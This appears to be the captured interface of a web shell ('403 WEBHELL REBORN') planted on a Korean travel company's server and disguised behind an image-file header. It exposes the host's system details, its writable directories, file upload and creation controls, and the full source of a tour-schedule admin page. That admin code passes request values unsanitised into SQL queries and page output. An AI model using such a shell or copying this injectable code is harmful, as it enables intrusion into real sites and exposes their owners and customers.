ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/good/good_date_schedule_edit.html
<?
include "../include/top.html";
include "_common.php";

// 상품정보
$good_data = db_fetch("select * from good where g_uid='{$g_uid}' ");

// 일정표
// $arr = toad_schedule($g_uid," and d_uid='{$d_uid}' and Sort='0' ");
$sch_data = array();

// 공통일정표
$comm_sch_data = toad_schedule(""," and Sort='2' and b_uid in('{$good_data['b_uid']}','','0') ");

// 기본일정표
$base_sch_data = toad_schedule($g_uid," and Sort='0' ");

// 출발일 정보
$arr = date_list($g_uid,"none"," and d_uid='{$d_uid}' ");
$dstart_data = $arr[0];

// 일정표 스킨
$skin_arr = array();
$arr = get_dirlist("../../schedule");
$j=0;

for ($i=0 ; $i<count($arr) ; $i++){
	if ( strstr($arr[$i],".html") ){ // 확장자가 .html만 사용
		$skin_arr[$j]['nm'] = $arr[$i];
		$skin_arr[$j]['pre_nm'] = str_replace(".html","",$arr[$i]);
		$j++;
	}
}

// 상품에 세팅된 지역코드 목록
$area_data = TO_get_air_city_array($good_data['Bidx'],"","","DelFlag");

?>
<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><strong><?=$row['g_title']?></strong></div>
		<div class="contents_detail">
			<!-- 본문 -->
			<div id="Content_box">
				<? include "_menu.html"; ?>
				<ul class="layout_l3 mt25">
					<li>
						<h2>일정표불러오기</h2>
						<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register">
							<colgroup>
								<col width="100px" />
								<col />
							</colgroup>
							<tbody>
								<!--<tr>
									<th>공통일정표</th>
									<td>
										<select name="" id="bas_dateform_list" style="width:100%;" onchange="common_base_dateform('base',this.value)">
											<option value="">==공통일정선택==</option>
											<?
												for( $i=0 ; $i<count($comm_sch_data) ; $i++){
													$comm_sch_arr = $comm_sch_data[$i];
											?>
												<option value="<?=$comm_sch_arr['SiDX']?>"><?=$comm_sch_arr['ScheduleTitle']?></option>
											<?}?>
										</select>
									</td>
								</tr>-->
								<tr>
									<th>기본일정표</th>
									<td>
										<select name="" id="comm_dateform_list" style="width:100%;" onchange="common_base_dateform('common',this.value)">
											<option value="">==기본일정선택==</option>
											<?
												for( $i=0 ; $i<count($base_sch_data) ; $i++){
													$base_sch_arr = $base_sch_data[$i];
											?>
												<option value="<?=$base_sch_arr['SiDX']?>"><?=$base_sch_arr['ScheduleTitle']?></option>
											<?}?>
										</select>					</td>
								</tr>
								<tr>
									<th>일정표복사</th>
									<td><input type="button" name="" id="" value="다른상품에서일정표복사해오기" class="Table_btn blue" onclick="common_base_dateform('copy')"></td>
								</tr>
							</tbody>
						</table>
					</li>
					<li>
						<!-- 폼 -->
						<form name="frm_create_date" id="frm_create_date" method="post">
							<input type="hidden" name="SqlType" value="date_create">
							<h2>일정표생성</h2>
							<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register">
							<colgroup>
								<col width="100px" />
								<col />
							</colgroup>
							<tbody>
								<tr>
									<th>일정표스킨</th>
									<td>
										<select name="date_skin" id="date_skin" class="" style="width:100%;" hname="일정표스킨" required>
											<option value="">==스킨선택==</option>
											<?
												for($i=0 ; $i<count($skin_arr) ; $i++){
													$arr = $skin_arr[$i];
											?>
												<option value="<?=$arr['nm']?>"><?=$arr['pre_nm']?></option>
											<?}?>
										</select>
									</td>
								</tr>
								<tr>
									<th>생성일차</th>
									<td>
										<?
											$date_end_num = ($tab=="D") ? 1:31;
										?>
										<select name="date_num" id="date_num" class="" style="width:100%;" hname="생성일차" required>
											<option value="">==일차선택==</option>
											<?for ($i=1 ; $i<=$date_end_num ; $i++){?>
											<option value="<?=$i?>"><?=$i?>일</option>
											<?}?>
										</select></td>
								</tr>
								<tr style="display:none;">
									<th>날짜표시</th>
									<td>
										<input type="text" class="cal_input" name="date_start" id="date_start" value="<?=($dstart_data['d_start'])?$dstart_data['d_start']:date("Y-m-d")?>" onclick="AjaxCal(this,event);" readonly style="width:80px;"> <input type="checkbox" name="chk_day" id="chk_day" value="Y" checked="true"><label for="disp_date">날짜표시</label>					</td>
								</tr>
								<tr>
									<th>일정생성</th>
									<td><input type="button" name="" id="" value="일정생성하기" class="Table_btn red" onclick="create_dateform();"></td>
								</tr>
							</tbody>
							</table>
						</form>
						<!-- /폼 -->
					</li>

					<li class="last">
						<!--호텔/지역 정보 선택-->
						<h2>[<?=$good_data['NationName']?>] 호텔/지역 정보 선택</h2>
						<div class="tab_wrap">
							<ul class="info_tab">
								<li class="on"><a href="javascript:;" onclick="tab(0)">호텔선택</a></li>
								<li><a href="javascript:;" onclick="tab(1)">지역정보선택</a></li>
							</ul>
							<p class="select">
								<select name="" id="hotel_area_sel" onchange="hotel_area_list('Bidx=<?=$good_data['Bidx']?>&Cidx='+this.value);" style="width:97%;">
									<option value="">=선택=</option>
									<?
										for($i=0 ; $i<count($area_data) ; $i++){
											$arr_area = $area_data[$i];
									?>
									<option value="<?=$arr_area['Cidx']?>" <?=($good_data['Cidx']==$arr_area['Cidx'])?"selected":""?>><?=$arr_area['CityName']?></option>
									<?}?>
								</select>
							</p>
						</div>
						<div class="result_list" id="result_list" style="height:200px;overflow-y:scroll;"></div>
					</li>
				</ul>

				<div class="clear mt30">
					<!-- 제목/에디터 -->
					<!-- <div class="title">일정표</div> -->
					<!-- 폼 -->
					<form name="frm_dateform" id="frm_dateform" method="post">
						<input type="hidden" name="SqlType" id="SqlType" value="">
						<input type="hidden" name="g_uid" value="<?=$g_uid?>">
						<input type="hidden" name="SiDX" id="SiDX" value="">
						<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register ">
						<colgroup>
							<col width="170px" />
							<col />
						</colgroup>
						<tbody>
							<tr>
								<th>제목</th>
								<td><input type="text" name="ScheduleTitle" id="ScheduleTitle" value="<?=$sch_data['ScheduleTitle']?>" class="input_text" style="width:70%;" /> <input type="button" name="" value="일정표초기화" class="Table_btn gray" onclick="fn_create_date_ckeditor('','success');"></td>
							</tr>
							<tr>
								<td colspan="2"  valign="top">
									<textarea name="ScheduleText" id="ScheduleText"></textarea>
								</td>
							</tr>
						</tbody>
						</table>
					</form>
					<!-- /폼 -->
				</div>

			<div class="btn_wrap_C mt30" style="background:#edf0f5">
				<span id="button_edit" class="inblock" style="display:none;"><a href="javascript:;" onclick="chk_form('edit');" class="Bbtn red" >일정표 수정</a></span>&nbsp;&nbsp;
				<span id="button_save" class="inblock" style="display:block;"><a href="javascript:;" onclick="chk_form('new');" class="Bbtn red" >일정표 새로저장</a></span>&nbsp;&nbsp;
				<span id="button_delete" class="inblock" style="display:none;"><a href="javascript:;" onclick="chk_form('delete');" class="Bbtn gray" >일정표 삭제</a></span>
			</div>

	<!-- /본문 -->
	</div>
</div>

<script type="text/javascript">
	// 호텔/지역정보 선택탭 no
	var ht_tab_num=0;

	function create_dateform()
	{
		var f=document.frm_create_date;

		var result = to_validation(f);
		if ( result == false ) return false;

		if (!confirm('일정표를 생성하시겠습니까?'))  return false;

		// 버튼정리
		check_button_ui();

		// 결과를 함수(fn_create_date_ckeditor)로 받음.
		ajax_post("","good_date_proc.html","frm_create_date","fn_create_date_ckeditor");
	}

	//  공통일정표 or 기본일정표 or 생성일정표 or 복사일정표를 data로 받음
	function fn_create_date_ckeditor(data,status)
	{
		if ( status == "success" )
		{
			// 에디터 instance 생성
			var editor = eval('CKEDITOR.instances.ScheduleText');

			// 에디터로 data세팅
			editor.setData(data);

		}else return;
	}

	// 일정표 불러오기
	function common_base_dateform(mode,sidx)
	{
		switch (mode)
		{
		case 'base' : 
					$("#comm_dateform_list").val(0); // 기본일정표 초기화
					$("#ScheduleTitle").val($("#bas_dateform_list option:selected").text()); // 제목 세팅
					ajax_post('','good_date_proc.html?SqlType=date_recv&SiDX='+sidx,'','fn_create_date_ckeditor'); // 공통일정표
		break;
		case 'common' :
					$("#bas_dateform_list").val(0); // 공통일정표 초기화
					$("#SiDX").val($("#comm_dateform_list option:selected").val()); // 일정표 id 세팅
					$("#ScheduleTitle").val($("#comm_dateform_list option:selected").text()); // 제목 세팅
					ajax_post('','good_date_proc.html?SqlType=date_recv&SiDX='+sidx,'','fn_create_date_ckeditor'); // 기본일정표
		break;
		case 'copy' :
					to_dialog.ajax('good_date_sch_copy_ajax.html?g_uid=<?=$g_uid?>&d_uid=<?=$d_uid?>&layer_id=<?=$tmp_layer_id?>','일정표 복사','400','400',true,false); // 일정표 복사해오기
		break;
		}

		// 버튼정리
		check_button_ui();
	}

	// 버튼정리
	function check_button_ui()
	{
		if ($("#SiDX").val())
		{
			$("#button_edit").show(); // 일정표 수정
			$("#button_save").show(); // 일정표 새로저장
			$("#button_delete").show(); // 일정표 삭제
		}else{
			$("#button_edit").hide(); // 일정표 수정
			$("#button_save").show(); // 일정표 새로저장
			$("#button_delete").hide(); // 일정표 삭제
		}
	}

	// 지역,호텔 불러오기 텝
	function tab(num)
	{
		if (num==0)
		{
			mode = "hotel";
		}else{
			mode = "area";
		}

		ht_tab_num = num;

		$(".tab_wrap").click(function(){
			$(this).find("li").each(function(index){
					if (num==index){
						$(this).addClass("on");
					}else{
						$(this).removeClass();
					}
			});
		});

		// 초기화
		ajax_loader('good_area_info_ajax.html?mode='+mode+'&Bidx=<?=$good_data['Bidx']?>&Cidx=<?=$good_data['Cidx']?>','result_list');
		$("#hotel_area_sel").val("<?=$good_data['Cidx']?>");
	}

	function hotel_area_list(params)
	{
		var url = "";
		var mode = "hotel";

		if (ht_tab_num==1) mode = "area";

		url = "good_area_info_ajax.html?"+params+"&mode="+mode;

		ajax_loader(url,'result_list');
	}

	function chk_form(mode)
	{
		var f = document.frm_dateform;
		
		if (!f.ScheduleTitle.value)
		{
			alert('제목을 입력해주세요.');
			f.ScheduleTitle.focus();
			return;
		}

		if (mode=="edit") {
			$("#SqlType").val("common_dateform_edit");
			if (!confirm('수정하시겠습니까?')) return;
		} else if(mode=="new"){
			$("#SqlType").val("common_dateform_create");
			if (!confirm('새로저장하시겠습니까?')) return;
		} else {
			$("#SqlType").val("common_dateform_delete");
			if (!confirm('정말 삭제하시겠습니까?')) return;
		}

		f.action="good_date_proc.html?<?=$_shref?>&<?=$_href?>";
		f.submit();
	}

	window.onload=function(){
		ajax_loader('good_area_info_ajax.html?mode=hotel&Bidx=<?=$good_data['Bidx']?>&Cidx=<?=$good_data['Cidx']?>','result_list');
		//CKEDITOR.replace('ScheduleText', {height:'450px'});
	}

	$(function(){
		// /js/ckeditor_v4.9/plugins/upimgs,admin.lib.js 참고
		CKEDITOR.replace('ScheduleText',{height:'450px'}).ui.addButton( 'Heart', {
		    label: '이미지멀티업로드',
		    command: 'insertHeart',
		    toolbar: 'heart'
		});
	});	

</script>


			<!-- /본문 -->
		</div>
	</div>
</div>
<?
include "../include/footer.html";
?>

Anon7 - 2021